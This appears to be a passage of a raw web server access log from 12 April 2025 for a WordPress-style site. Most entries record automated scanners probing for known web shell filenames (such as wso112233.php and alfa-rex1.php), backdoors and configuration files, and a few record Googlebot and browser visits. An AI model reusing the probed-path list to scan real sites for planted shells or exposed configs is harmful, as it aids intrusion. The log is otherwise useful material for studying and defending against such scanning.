795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:25 -0400] "GET /wp-content/plugins/read/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:25 -0400] "GET /wp-includes/blocks/heading/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:25 -0400] "GET /admin/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:25 -0400] "GET /docs/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:26 -0400] "GET /gins/wp-help/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:26 -0400] "GET /wp-content/themes/astra/inc/builder/type/header/button/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:26 -0400] "GET /images/headers/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:26 -0400] "GET /wp-includes/widgets/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:27 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:22:27 -0400] "GET /wp-includes/rest-api/fields/file.php HTTP/1.1" 301 795 "-" "-" 170.62.226.14 - - [12/Apr/2025:08:28:39 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 3.12.152.185 - - [12/Apr/2025:08:58:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 34.222.196.207 - - [12/Apr/2025:09:06:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)" 113.141.91.58 - - [12/Apr/2025:09:10:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.251.88.242 - - [12/Apr/2025:09:14:29 -0400] "GET /simple.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [12/Apr/2025:09:16:01 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 205.172.168.145 - - [12/Apr/2025:09:17:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 188.243.88.234 - - [12/Apr/2025:09:18:11 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 185.244.182.178 - - [12/Apr/2025:09:19:41 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:09:39:06 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:09:39:08 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:09:39:08 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:09:39:09 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:09:39:10 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:09:39:11 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:09:39:11 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:09:39:12 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:09:39:13 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:09:39:14 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 66.249.79.98 - - [12/Apr/2025:09:58:20 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.97 - - [12/Apr/2025:09:58:20 -0400] "GET /instapower/homepage/home-v2-3-col-images-contact/feed/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.52 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 67.211.213.194 - - [12/Apr/2025:10:02:18 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 66.249.79.96 - - [12/Apr/2025:10:16:01 -0400] "GET /instapower/feed/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.52 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.135.134.127 - - [12/Apr/2025:10:20:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 18.223.108.59 - - [12/Apr/2025:10:29:27 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 66.249.79.96 - - [12/Apr/2025:10:33:41 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.97 - - [12/Apr/2025:10:33:42 -0400] "GET /instapower/comments/feed/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.52 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 13.68.216.179 - - [12/Apr/2025:10:40:22 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:23 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:23 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:23 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:24 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:25 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:25 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:26 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:27 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:28 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:28 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:29 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:29 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:30 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:31 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:31 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:32 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:32 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:33 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:33 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:33 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:33 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:34 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:34 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:35 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:35 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:35 -0400] "GET /admin/indexupload.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:35 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:36 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:36 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:36 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:37 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:37 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:38 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:38 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:38 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:38 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:38 -0400] "GET /white.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:39 -0400] "GET /wp-content/languages/a2.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:39 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:40 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:40 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:40 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:41 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:41 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:41 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:41 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:42 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:42 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:43 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:43 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:44 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:44 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:44 -0400] "GET /wp-content/plugins/elementor/assets/css/sf2vh3/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:45 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:45 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:46 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:46 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:47 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:47 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:48 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:48 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:48 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:49 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:50 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:50 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:50 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:51 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:51 -0400] "GET /.well-known/pki-validation/wp.-.admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:51 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:52 -0400] "GET /wp-includes/css/dist/format-library/lock.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:52 -0400] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:52 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:53 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:53 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:54 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:54 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:55 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:55 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:55 -0400] "GET /about.PHP HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:56 -0400] "GET /wp-includes/ID3/go.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:56 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:56 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:57 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:57 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:57 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:58 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:58 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:59 -0400] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:40:59 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:00 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:00 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:00 -0400] "GET /wp-admin/images/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:01 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:02 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:02 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:02 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:03 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:04 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:05 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:05 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:06 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:06 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:07 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:07 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:08 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:09 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:10 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:10 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:12 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:12 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:13 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:14 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:15 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:15 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:16 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:17 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:18 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:18 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:20 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:21 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:21 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:22 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:22 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:22 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:23 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:23 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:24 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:24 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:25 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:25 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:25 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:26 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:26 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:26 -0400] "GET /wp-cdi.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:27 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:27 -0400] "GET /wp-content/plugins/nbs7drg5/fooster1337.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:28 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:28 -0400] "GET /.well-known/pki-validation/fm.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:29 -0400] "GET /wp-content/upgrade/shell.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:30 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:31 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:31 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:32 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:33 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:34 -0400] "GET /wp-content/pm.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:35 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:36 -0400] "GET /wp-content/plugins/erinyani/past.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:36 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:36 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:37 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:38 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:38 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:39 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:41 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:42 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:42 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:43 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:44 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:45 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:46 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:46 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:48 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:50 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:51 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:52 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - 